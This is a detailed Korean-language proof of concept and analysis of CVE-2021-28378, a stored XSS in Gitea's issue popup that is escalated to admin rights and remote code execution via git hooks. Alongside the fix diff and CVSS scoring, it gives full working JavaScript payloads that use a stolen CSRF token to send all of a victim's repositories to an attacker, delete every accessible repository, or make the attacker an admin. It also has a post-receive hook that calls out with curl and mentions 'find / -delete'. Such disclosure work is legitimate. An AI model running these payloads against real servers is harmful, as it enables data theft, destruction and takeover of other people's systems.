
CVE-2021-28378에 대한 상세한 개념 증명 및 분석: Gitea의 저장형 XSS 취약점으로, git 훅을 통한 임의 코드 삽입, 권한 상승 및 원격 코드 실행을 가능하게 합니다.
이 CVE에 대한 자세한 내용은 여기에서 확인할 수 있습니다.
이 CVE는 서버에서 가져온 콘텐츠의 클라이언트 측에서 문자열 이스케이프가 누락된 것을 대상으로 합니다. 공격자가 이슈나 풀 리퀘스트에 댓글을 작성하여 쉽게 임의 코드를 주입할 수 있게 합니다. 이는 2020년 1월 말에 커밋 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5에서 도입되었지만, 스쿼시(squash) 때문에 정확히 누가 이 취약점을 도입했는지와 유사한 버그가 도입되었는지 조사할 수 없습니다.
먼저, 이 취약점이 어디서 발생하는지 이해해 봅시다. 이를 위해 이 CVE를 수정하는 커밋을 살펴보겠습니다.
수정 전:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
label.name, issue.repository.full_name, issue.title, 에 HTML 이스케이프가 적용되지 않은 것을 볼 수 있습니다. 이 문자열들은 사용자가 조작할 수 있으므로 임의 코드를 주입할 수 있습니다.
은 너무 많은 규칙()을 따라야 하므로 이 CVE로는 우회할 수 없어 코드를 주입하기 위해 실제로 조작할 수는 없습니다.
정확히 이 PR이 로 캐스팅하여 수정한 부분입니다.
bodyissue.repository.full_name[\w._-]+htmlEscape수정 후:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
html: `
<div>
<p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
<p>${htmlEscape(body)}</p>
${labels}
</div>
`
web_src/js/features/contextpopup.js 파일을 간략히 살펴보고 CVE를 어떻게 트리거하는지 알아봅시다.
...
const {AppSubUrl} = window.config;
export default function initContextPopups() {
const refIssues = $('.ref-issue');
if (!refIssues.length) return;
refIssues.each(function () {
const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
issuePopup(owner, repo, index, $(this));
});
}
function issuePopup(owner, repo, index, $element) {
$.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
for (let i = 0; i < issue.labels.length; i++) {
...
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
}
...
$element.popup({
variation: 'wide',
delay: {
show: 250
},
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
});
});
}
여기서 볼 수 있듯이 ref-issue 클래스를 가진 각 노드에 대해 취약한 팝업이 추가됩니다.
이제 사용자에게 ref-issue가 전송되는 위치를 찾아야 합니다. grep을 사용해 보겠습니다(테스트 파일 등 흥미 없는 결과는 제외).
다음 커밋 번호는 공식 docker-compose.yml 파일의 기본 버전인 1.12.4 태그에 해당하며, 이 CVE의 영향을 받습니다.
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go: link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go: sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")
이제 ref-issue 클래스를 가진 정적 콘텐츠는 없으며 동적으로 생성된다는 것을 알았습니다.
마지막 줄은 단순한 sanitizer 정책 규칙이므로 흥미롭지 않습니다. 나머지 줄은 흥미롭습니다. 그 이유를 알아봅시다.
modules/markup/html.go를 자세히 살펴보겠습니다.
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
if ctx.metas == nil {
return
}
m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
if m == nil {
return
}
link := node.Data[m[0]:m[1]]
id := "#" + node.Data[m[2]:m[3]]
// extract repo and org name from matched link like
// http://localhost:3000/gituser/myrepo/issues/1
linkParts := strings.Split(path.Clean(link), "/")
matchOrg := linkParts[len(linkParts)-4]
matchRepo := linkParts[len(linkParts)-3]
if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
// TODO if m[4]:m[5] is not nil, then link is to a comment,
// and we should indicate that in the text somehow
replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
} else {
orgRepoID := matchOrg + "/" + matchRepo + id
replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
}
}
또한 getIssueFullPattern이 무엇을 하는지 이해해야 합니다.
func getIssueFullPattern() *regexp.Regexp {
if issueFullPattern == nil {
appURL := setting.AppURL
if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
appURL += "/"
}
issueFullPattern = regexp.MustCompile(appURL +
`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
}
return issueFullPattern
}
어떤 작업이 수행되는지 요약해 보겠습니다.
fullIssuePatternProcessor에서 먼저 ctx.metas가 nil이 아닌지 확인합니다(스택 추적의 상위 함수/메서드에 의해 구축되므로 true라고 가정합니다).
그런 다음 노드 데이터가 http://mygitea.com/gituser/myrepo/issues/1과 같은 경로와 일치하는지 확인합니다. 일치하면 링크로 대체합니다.
링크가 동일한 사용자와 저장소에 관한 것이면 #<issue_id> 패턴으로, 그렇지 않으면 <user>/<repo>#<issue_id> 패턴으로 대체합니다.
두 경우 모두 팝업을 생성하기 위해 ref-issue 클래스가 추가됩니다.
다른 grep 결과도 비슷한 작업을 수행합니다.
이제 컨텍스트를 파악했습니다. http://mygitea.com/gituser/myrepo/issues/1과 같은 링크를 더 짧은 링크로 바꾸는 작업이며, 이는 이슈와 PR에서 수행됩니다. 여기에 레이블을 추가하거나 댓글을 작성할 수 있습니다.
이를 위해 저장소에 쓰기 권한이 있다고 가정합니다.
저장소로 이동하여 임의 코드(예: <script>alert('label.name')</script>)가 포함된 이름으로 새 레이블을 만듭니다.
저장소의 이슈로 이동하여 제목과 본문에 임의 코드를 포함하고 이전에 만든 레이블을 추가한 새 이슈를 만듭니다.
임의의 저장소에 새 이슈를 만들고 본문에 http://mygitea.com/gituser/myrepo/issues/1과 같은 주입된 이슈에 대한 링크를 추가합니다.
그러면 앞서 본 링크로 대체되며, 누군가 링크 위에 마우스를 올리면 임의 코드가 실행됩니다. label.name이 포함된 팝업이 표시됩니다.
CVE-2021-28378은 임의 코드 주입이 가능함이 입증되었습니다. 공격자가 무엇을 할 수 있는지 상상해 봅시다.
Gitea에는 CSRF 토큰이 있어 양식을 작성하거나 API를 호출할 때 신원을 확인하여 Gitea iframe을 삽입하여 액세스를 탈취하는 보안 문제를 방지합니다.
CSRF 토큰은 쿠키(_csrf)에 저장되지만, 사용자가 방문하는 거의 모든 웹페이지(예: /api/v1/swagger 제외)의 특정 필드에도 저장됩니다. 따라서 이슈/PR 웹페이지에도 있습니다.
가장 흥미로운 필드는 HTML 페이지의 공통 헤더 부분에 있으며, 항상 동일한 XPath(/html/head/meta[9])를 가집니다.
이 데이터를 사용하면 페이로드에 영향을 받는 모든 사용자로부터 인증된 작업을 보낼 수 있습니다. JS에서 다음과 같이 CSRF 토큰을 가져옵니다: (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content.
이제 창의력을 발휘하여 다양한 공격을 구축할 차례입니다. 행동에 제한이 있지만 너무 많지는 않습니다.
label.name과 issue.title은 짧아야 하므로 많은 페이로드가 들어맞지 않습니다. 그러나 src 속성이 있는 script를 주입하여 원하는 스크립트를 참조할 수 있습니다.body는 길이 제한이 없지만 팝업 미리보기에서 데이터 미리보기가 제한됩니다. 페이로드가 트리거되려면 시작 부분에 있어야 합니다. 그러나 앞서 지정한 대로 script와 src 속성을 사용할 수 있습니다.구축할 수 있는 몇 가지 예를 살펴보겠습니다.
공격자가 사용자가 액세스할 수 있는 모든 저장소를 가져오려는 시나리오를 상상해 보십시오. 이 공격은 기밀성을 모두 깨뜨릴 수 있음을 증명합니다. 이 공격은 3단계로 수행됩니다.
이를 수행하는 JS 코드를 작성해 보겠습니다.
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
}
}
xhrGet.send(null);
이 페이로드를 자체 파일에 넣고 저장소에 업로드한 다음 <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>와 같은 것을 사용하여 이슈 본문에 주입합니다.
이제 공격자는 이 주입된 이슈를 참조하는 이슈/PR에 댓글을 달 수 있으며, 누군가 링크 위에 마우스를 올리면 모든 저장소 데이터가 공격자에게 도난당합니다!
공격자가 사용자가 액세스할 수 있는 모든 저장소를 삭제하려는 시나리오를 상상해 보십시오. 이 공격은 무결성을 모두 깨뜨릴 수 있음을 증명합니다. 이 공격은 3단계로 수행됩니다.
이를 수행하는 JS 코드를 작성해 보겠습니다.
var AppURL = "http://mygitea.com";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
data = xhrGet.response.data;
data.forEach(repo => {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", repo.html_url + "/settings", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
});
}
}
xhrGet.send(null);
이 페이로드를 자체 파일에 넣고 저장소에 업로드한 다음 <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>와 같은 것을 사용하여 이슈 본문에 주입합니다.
이제 공격자는 이 주입된 이슈를 참조하는 이슈/PR에 댓글을 달 수 있으며, 누군가 참조 위에 마우스를 올리면 액세스할 수 있는 모든 저장소가 삭제됩니다!
공격자가 관리자 권한을 얻으려는 시나리오를 상상해 보십시오. 이는 권한 상승이 가능함을 증명합니다. 이 공격은 2단계로 수행됩니다.
이를 수행하는 JS 코드를 작성해 보겠습니다.
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");
login_type 값은 Gitea 버전과 인스턴스가 로그인을 처리하는 방식에 따라 변경될 수 있습니다.
이 페이로드를 자체 파일에 넣고 저장소에 업로드한 다음 <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>와 같은 것을 사용하여 이슈 본문에 주입합니다.
이제 공격자는 이 주입된 이슈를 참조하는 이슈/PR에 댓글을 달 수 있으며, 충분한 권한이 있는 사람이 참조 위에 마우스를 올리면 공격자에게 관리자 권한이 부여됩니다! 또한 이슈를 관리자에게 할당하거나 관리자가 감시 중인 저장소에 이슈를 생성하여(알림을 받게 됨) 성공 확률을 높일 수 있습니다.
Gitea의 가장 """재미있는""" 부분은 git 훅을 구현함으로써 보안 고려 사항이 프로세스에 포함되지 않았다는 것입니다. 아마도 구현할 수 있는 최악의 아이디어 중 하나일 것입니다.
관리자 권한을 획득한 후에는 git 훅을 관리할 수 있는 권한을 부여할 수 있습니다(이전 페이로드로 달성). Gitea Git Hooks Remote Code Execution Metasploit 모듈과 같은 방식으로 진행합니다.
post-receive git-hook에 추가합니다.이 RCE가 유효한지 확인하기 위해 유효한 id와 함께 다음을 넣어 보겠습니다.
#!/bin/bash
curl https://requestbin.net/r/<id>
RequestBin 검사 패널에서 post-receive git hook을 트리거하는 파일을 제출한 후, User-Agent: curl/<version>을 가진 요청이 수행된 것을 볼 수 있으며 이는 유효한 RCE임을 증명합니다.
이 기능은 관리자가 트리거할 수 있는 모든 XSS에 대해 _csrf 값이 거의 모든 웹페이지에 포함되어 있으므로 Gitea에서 RCE를 얻을 수 있음을 의미합니다.
CVE 영향을 받는 버전에 따라 업데이트를 수행하십시오(공식 보고서 참조). 작성 시점: 1.12.0 ~ 1.13.4(제외).
영향을 받는 버전 목록과 테스트 상태입니다. 1.13.X 버전의 경우 [security] 섹션 아래 app.ini 파일에 DISABLE_GIT_HOOKS = false를 추가해야 합니다. 이 파일은 데이터 폴더 위치에 따라 data/gitea/conf/app.ini에 있을 수 있습니다(DockerHub에 문서화된 docker-compose.yml 파일의 경우 동일한 폴더에 있습니다).
| 버전 | XSS | RCE |
|---|---|---|
| 1.12.0 | ✅ | ✅ |
| 1.12.1 | ✅ | ✅ |
| 1.12.2 | ✅ | ✅ |
| 1.12.3 | ✅ | ✅ |
| 1.12.4 | ✅ | ✅ |
| 1.12.5 | ✅ | ✅ |
| 1.12.6 | ✅ | ✅ |
| 1.13.0 | ✅ | ✅ |
| 1.13.1 | ✅ | ✅ |
| 1.13.2 | ✅ | ✅ |
| 1.13.3 | ✅ | ✅ |
✅: 작동 확인됨 ; ❓: 테스트 필요 ; ❌: 작동하지 않음 확인됨
이 표는 독자가 점수 계산을 안내하기 위해 작성되었습니다. 점수에 대한 논의만을 위한 것이며 명령으로 받아들여서는 안 됩니다.
| 메트릭 | 값 | 설명 |
|---|---|---|
| AV | 네트워크 | HTTP를 사용하여 상호 작용합니다. |
| AC | 낮음 | 이슈(기본적으로 Gitea에서 모든 사람에게 활성화되어 있어 매우 쉽게 제기 가능) 또는 풀 리퀘스트만 필요합니다. |
| PR | 낮음 | 대부분의 상황에서 이슈를 생성하려면 계정이 필요합니다(기본적으로 새 계정을 등록할 수 있음). 모든 계정은 읽기 전용 저장소에서 이슈를 생성할 수 있으며, 저장소가 이슈를 비활성화하도록 구성된 경우는 예외입니다(기본 설정이 아니며 거의 수정되지 않음). |
| UI | 필요함 | 사용자나 관리자가 감염된 링크 위에 마우스를 올려야 페이로드가 트리거됩니다. |
| S | 변경됨 | RCE를 사용하면 호스트 시스템에 액세스할 수 있으므로 공동 배치된 서비스에도 액세스할 수 있습니다. |
| C | 높음 | 관리자 권한을 획득하면 private으로 구성된 경우에도 모든 것을 관리할 수 있습니다. 데이터베이스 자격 증명을 도용하고, RCE를 사용하여 연결하고 데이터를 추출할 수 있습니다. RCE를 사용하면 Gitea가 인증/권한 검사를 수행하지 않는 파일 시스템을 직접 읽을 수 있습니다. |
| I | 높음 | 관리자 권한을 획득하면 권한, 가시성, 저장소 코드를 수정하고 저장소를 삭제할 수도 있습니다. RCE를 사용하면 모든 것을 자유롭게 탐색하여 사용자, 파일 등의 무결성에 영향을 줄 수 있습니다. |
| A | 높음 | RCE가 주어지면 find / -delete로 전체 파일 시스템을 삭제하여 가용성을 완전히 상실시킬 수 있습니다. |
| E | 높음 | python 스크립트 exploit.py가 주어지면 베어 계정에서 루트 리버스 셸까지 취약점을 쉽게 악용할 수 있습니다. |
| RL | 공식 수정 | 커밋 <1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab>로 수정되었으며, 마스터에 병합되어 Gitea 1.13.4에 포함되었습니다. |
| RC | 확인됨 | 이 보고서는 XSS 원인 분석부터 RCE 예제 및 스크립트까지 여러 익스플로잇을 확인하고 보여줍니다. |
벡터 문자열: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C
| 메트릭 그룹 이름 | 점수 | 설명 |
|---|---|---|
| 기본 점수 | 9.0 | 치명적 |
| 시간적 점수 | 8.6 | 높음 |